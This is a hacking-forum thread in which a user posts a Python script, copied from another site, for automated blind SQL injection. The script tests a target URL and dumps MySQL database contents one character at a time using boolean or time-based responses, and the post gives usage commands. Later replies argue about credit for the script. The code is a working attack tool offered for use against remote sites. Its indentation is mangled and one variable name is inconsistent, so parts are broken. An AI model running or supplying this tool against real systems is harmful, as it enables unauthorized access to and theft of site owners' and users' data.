

Forum:[Hack Forums](#)

Thread: [\[Tutorial/Script\] Time Based SQL Injection Attack Extractor \[Tutorial/Script\]](#)

Canonsx130 - May 2, 2013, 7:51 am

This is a python script used to extract information from a remote database using time and boolean based blind SQL Injection. Here is the code which you can compile and use:

Code `#!/usr/bin/python2.7`

```
import sys,re,urllib2,string,time
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
```

```
def request(URL):
    user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3)
AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
    req = urllib2.Request(URL, None, user_agent)
```

```
    try:
        request = urllib2.urlopen(req)
```

```
    except HTTPError, e:
        print('[!] The server couldnt fulfill the request.')
        print('[!] Error code: ' + str(e.code))
        sys.exit(1)
```

```
    except URLError, e:
        print('[!] We failed to reach a server.')
        print('[!] Reason: ' + str(e.reason))
        sys.exit(1)
```

```
    return len(request.read())
```

```
def value(URL):
    target = 0
    end = 0
    next_maybe = 0
    floor = 0
    ceiling = 255
    maybe = int(ceiling)/2
```

```
    while(end != 9):
        if(is_what(URL, maybe, '>')):
            floor = maybe
            next_maybe = int(maybe + ((ceiling - floor)/2))
```

```
    elif(is_what(URL, maybe, '<')):
        ceiling = maybe
        next_maybe = int(maybe - ((ceiling - floor)/2))
```

```

elif(is_what(URL, maybe, '=')):
    return chr(maybe)

maybe = next_maybe
end += 1

return 'done'

def is_what(URL, maybe, op):
    if(sql_type == 'boolean'):
        ValueResponse = int(request(str(URL) + str(op) + str(maybe) + '--+'))
        if(TrueResponse == ValueResponse):
            return 1
        else:
            return 0
    elif(sql_type == 'time'):
        start = time.time()
        ValueResponse = request(str(URL) + str(op) + str(maybe) + ')*2--+')
        elapsed_time = (time.time() - start)
        if (elapsed_time > 2):
            return 1
        else:
            return 0

def vuln_check(URL):
    print('[+] Checking site...')

    global TrueResponse
    TrueResponse = int(request(URL + '%20AND%2043%20like%2043--+'))
    FalseResponse = int(request(URL + '%20AND%2034%20like%2043--+'))

    if(TrueResponse != FalseResponse):
        print('[+] Site seems to be vulnerable to boolean based blind SQL injection.')
        return 'boolean'
    else:
        start = time.time()
        SleepResponse = request(URL + '%20and%20sleep(5)--+')
        elapsed_time = (time.time() - start)

        if(elapsed_time > 5):
            print('[+] Site seems to be vulnerable to time based blind SQL injection.')
            return 'time'
        else:
            print('[!] Seems like site isnt vulnerable to blind SQL injection.')
            sys.exit(1)

def main():
    print("""
    Auto BSQli tool for MySQL
    """)

    usage = 'usage: %prog -u <target> -i <injection>'
    parser = OptionParser(usage=usage)

```

```

    parser.add_option("-u", action="store", type="string", dest="URL",
help=""http://site.tld/index.php?id=1%27")
    parser.add_option('-i', action='store', type='string', dest='INJECTION', help=""select version()")

    (options, args) = parser.parse_args()
    if(options.URL and options.INJECTION):
URL = options.URL
INJECTION = urllib2.quote(options.INJECTION.encode("utf8"))
    else:
print('[!] Missing url or injection parameter.')
print('[!] Use --help.')
sys.exit(1)

    global sqli_type
    sqli_type = vuln_check(URL)
    position = 1
    dump = ""
    print('[+] Dumping data...')

    while(1):
if(sqli_type == 'boolean'):
    letter = value(URL + '%20and%20ascii(substr((' + INJECTION + ')%20from%20' + str(position) +
'%20for%201)))')
    elif(sqli_type == 'time'):
        letter = value(URL + '%20and%20sleep((select%20ascii(substr((' + INJECTION + ')%20from%20'
+ str(position) + '%20for%201)))')

    if(letter == 'done'):
        break

    dump = dump + letter
    position += 1

    if(dump):
print('[+] Data: ' + dump)
    else:
print('[!] No data dumped. Check your injection.')

if __name__ == "__main__":
    main()

```

Syntax:

Code python sqli-slee.py -u [url] -i [injection]

Example:

Code python sqli-slee.py -u [http://www.google.com/index.php?id=xx%27] -i "select database()"

I do not hold any responsibilities for your actions using this script nor am I the author if it. Thanks for reading.

Source: http://www.blackhatlibrary.net/SQL_injection/mysqli-blindutils/sqli-slee.py

Keeper - May 2, 2013, 8:10 am

Can you go leech your shit somewhere else and not trash this section skiddo?

http://www.blackhatlibrary.net/SQL_injection/mysqli-blindutils/sqli-slee.py

Canonsx130 - May 2, 2013, 8:41 am

I never thought it would be a big problem. Credits added :|

rfpd - May 2, 2013, 9:15 am

python seems like a nice language perhaps after the exams I will try to learn it!

Canonsx130 - May 2, 2013, 6:48 pm

Yes indeed. It's a very powerful language and it's very easy to learn. You should definitely give it a try.